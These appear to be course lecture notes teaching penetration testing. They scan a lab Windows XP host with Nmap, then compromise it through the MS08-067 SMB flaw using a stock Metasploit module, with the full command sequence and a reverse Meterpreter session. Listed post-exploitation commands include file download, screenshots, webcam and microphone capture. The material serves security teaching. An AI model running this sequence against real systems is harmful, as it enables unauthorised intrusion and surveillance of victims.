

Lecture 21 : Vulnerability Scanning using NMAP

Introduction

In the dynamic world of cybersecurity, understanding how to identify and exploit vulnerabilities is a critical skill for ethical hackers and security professionals alike. This session delves into the practical application of powerful tools like Nmap and Metasploit, demonstrating how they can be leveraged to uncover weaknesses in target systems and, subsequently, gain unauthorized access. The ability to simulate real-world attacks is paramount for strengthening defenses, allowing organizations to proactively patch and secure their infrastructure against malicious actors.

This lecture provides a hands-on approach to penetration testing, starting from initial network reconnaissance to ultimately compromising a target machine. By exploring the step-by-step process of vulnerability scanning, service enumeration, operating system detection, and exploit execution, students will gain invaluable insights into the attacker's mindset. This knowledge is not merely theoretical; it equips future security experts with the practical skills needed to identify, understand, and mitigate security risks across various operating systems, including Windows and Linux environments.

Core Concepts

Term	Definition	Significance
Vulnerability	A weakness in a computer system that an attacker can exploit to perform unauthorized actions.	It is the entry point for an attacker, ranging from simple weak passwords to complex buffer overflows or SQL injection flaws.
Exploit	A piece of code, data, or sequence of commands designed to take advantage of a specific vulnerability.	Exploits are the mechanisms used to trigger unintended behavior, such as gaining unauthorized access or escalating privileges.
Payload	The malicious component delivered by an exploit,	It performs the desired harmful actions on the compromised

Term	Definition	Significance
	often containing malware like worms or viruses.	system, such as deleting data, sending spam, or encrypting files.
Auxiliary	Modules within Metasploit used for tasks like scanning, sniffing, and fuzzing, but not for direct shell access.	These modules are crucial for reconnaissance, brute-force attacks, and vulnerability scanning before exploitation.
Post	Modules used after a system has been compromised (post-exploitation) to gather evidence or deepen network access.	They help in maintaining persistence, escalating privileges, and moving laterally within a compromised network.
Metasploit Framework	An open-source penetration testing platform that helps find, verify, and exploit vulnerabilities.	It is a comprehensive tool for security professionals to conduct security assessments and manage exploit development.
Nmap	A powerful network scanner used for host discovery, port scanning, service detection, and OS identification.	Essential for initial reconnaissance, providing a detailed map of a target network's live hosts, open ports, and running services.
Meterpreter	An advanced, dynamic payload that provides an interactive shell and extensive post-exploitation capabilities.	It offers a powerful interface for interacting with the compromised system, allowing for various actions like file manipulation, screen capture, and webcam control.

Detailed Analysis

The process of penetrating a target system involves several distinct phases, beginning with reconnaissance and culminating in post-exploitation activities. This

lecture demonstrates these phases using Nmap for scanning and Metasploit for exploitation.

1. Network Reconnaissance and Vulnerability Scanning with Nmap

The initial step in any penetration test is to gather information about the target network and systems. Nmap is an indispensable tool for this purpose, offering various scanning capabilities.

- **Live Host Discovery:** Identifying active devices on a network is the first step. Nmap can quickly list all live hosts within a specified IP range.

```
nmap -T4 -sP 10.35.1.0/24
```

This command uses the `-sP` (ping scan) option to discover live hosts and `-T4` for a faster execution time. An alternative tool for live host discovery is `netdiscover`.

- **Port Scanning:** Once live hosts are identified, the next step is to find open ports on a specific target, indicating running services.

```
nmap -T4 -p0-1000 10.35.1.150
```

This command scans the first 1000 ports (`-p0-1000`) on the target IP `10.35.1.150`. In a real-world scenario, scanning all 65535 ports is recommended. Open ports like 135, 139, and 445 are often indicative of Windows services.

- **Service and Version Detection:** Knowing which services are running on open ports and their versions is crucial for identifying potential vulnerabilities.

```
nmap -T4 -sV 10.35.1.150
```

The `-sV` option performs a service scan, listing the service name and its version for each open port. For example, port 135 might show `msrpc` running.

- **Operating System Detection:** Identifying the target's operating system helps in selecting appropriate exploits.

```
nmap -T4 -O 10.35.1.150
```

The `-O` option attempts to detect the operating system. In the demonstration, it identified "Microsoft Windows XP service pack 2 professional."

- **Vulnerability Scanning with Nmap Scripts:** Nmap can also run scripts to detect specific vulnerabilities.

```
nmap -T4 --script vuln 10.35.1.150
```

Using the `--script vuln` option, Nmap scans for common vulnerabilities. The scan result revealed `smb-vuln-ms08-067`, a Microsoft Windows system vulnerability to remote code execution, which became the target for exploitation.

Introduction

The Metasploit Framework is a powerful open-source platform for penetration testing, enabling security professionals to find, verify, and exploit vulnerabilities.

- **History and Purpose:** Created by HD Moore in 2003, Metasploit was acquired by Rapid7 in 2009. It helps identify security issues, verify vulnerability mitigations, and manage security assessments.
- **Starting Metasploit:** The framework is launched using the `msfconsole` command.

```
msfconsole
```

- **Basic Commands:** Once `msfconsole` is running, several commands are available to navigate and utilize the framework:
- `help` : Displays a list of all available commands within Metasploit.
- `show payloads` : Lists all available payloads that can be delivered to a target system.
- `show exploits` : Lists all available exploits that can be used to target vulnerabilities.
- `show auxiliary` : Lists all auxiliary modules for scanning, sniffing, and fuzzing.
- `show encoders` : Lists all encoders used to obfuscate payloads, helping to bypass antivirus software.

3. Exploiting the Target System with Metasploit (MS08-067)

With the `smb-vuln-ms08-067` vulnerability identified, the next step is to use Metasploit to exploit it.

- **Searching for an Exploit:** The `search` command is used to find exploits related to a specific vulnerability.

```
search ms08-067
```

This command reveals relevant exploits, auxiliary modules, and payloads. In this case, `exploit/windows/smb/ms08_067_netapi` was identified as a suitable exploit.

- **Selecting and Configuring the Exploit:** To use an exploit, the `use` command is followed by the exploit's path.

```
use exploit/windows/smb/ms08_067_netapi
```

After selecting the exploit, the `show options` command displays the parameters that need to be configured.

```
show options
```

Key parameters include `RHOST` (remote host, the target IP address) and `RPORT` (remote port, the port on the target machine).

* Setting `RHOST` :

```
set RHOST 10.35.1.150
```

- Setting `RPORT` : The default `RPORT` for this exploit is typically 445, which was found open during the Nmap scan. If a different port were needed, it would be set similarly:

```
set RPORT 445
```

After setting the necessary options, `show options` can be used again to verify the configuration.

- **Executing the Exploit:** Once all parameters are set, the `exploit` or `run` command initiates the attack.

```
exploit
```

Upon successful execution, Metasploit establishes a reverse TCP handler on the attacker's machine (e.g., `10.35.1.153` on port `4444`) and a Meterpreter session is opened, indicating successful compromise of the target system.

4. Post-Exploitation with Meterpreter

A Meterpreter session provides a powerful, interactive shell on the compromised target, allowing for extensive post-exploitation activities.

- **System Information:** The `sysinfo` command provides details about the compromised machine.

```
sysinfo
```

This confirms the target is a Windows XP machine, validating the successful exploitation.

- **Meterpreter Commands:** The `help` command lists all available Meterpreter commands, which include:
 - `bgkill` : Kills a background Meterpreter script.
 - `download` : Downloads files or directories from the victim machine.
 - `mkdir` : Creates a directory on the victim machine.
 - `rmdir` : Deletes a directory from the victim machine.
 - `screenshot` : Captures a screenshot of the victim's desktop.
 - `webcam_snap` : Takes a picture from the victim's webcam.
 - `record_mic` : Records audio from the victim's microphone.

These commands illustrate the extensive control an attacker gains over a compromised system, highlighting the importance of addressing vulnerabilities promptly.

Key Takeaways

- [] Nmap is a versatile tool for network reconnaissance, including live host discovery, port scanning, service detection, and OS identification.
- [] The `-sP` , `-p` , `-sV` , `-O` , and `--script vuln` options in Nmap are crucial for comprehensive scanning.
- [] Vulnerabilities like `smb-vuln-ms08-067` can be identified through Nmap scripts and exploited for remote code execution.

- [] Metasploit Framework is an open-source platform for developing, testing, and executing exploits.
- [] Basic Metasploit commands like `msfconsole` , `help` , `show payloads` , `show exploits` , and `search` are essential for navigation and exploit discovery.
- [] Exploiting a vulnerability involves selecting an exploit, setting parameters like `RHOST` and `RPORT` , and then executing the exploit.
- [] A Meterpreter session provides an advanced interactive shell for post-exploitation activities on a compromised system.
- [] Meterpreter commands allow for actions such as gathering system information, downloading files, creating directories, and even controlling the webcam or microphone.

Conclusion

This session provided a comprehensive walkthrough of vulnerability scanning and exploitation, demonstrating how Nmap and Metasploit work in tandem to identify and compromise target systems. From the initial phase of network discovery and detailed system enumeration using Nmap to the precise execution of an exploit via Metasploit, the entire process underscores the methodical approach required in penetration testing. The successful acquisition of a Meterpreter session highlights the profound impact of unpatched vulnerabilities and the extensive control an attacker can gain.

Understanding these techniques is not about enabling malicious activity, but rather about empowering security professionals to think like adversaries. By mastering these tools and methodologies, individuals can effectively assess system weaknesses, verify the efficacy of security controls, and ultimately contribute to building more resilient and secure digital environments. This practical knowledge forms a foundational pillar for anyone aspiring to a career in cybersecurity, emphasizing the continuous need for vigilance and proactive security measures in an ever-evolving threat landscape.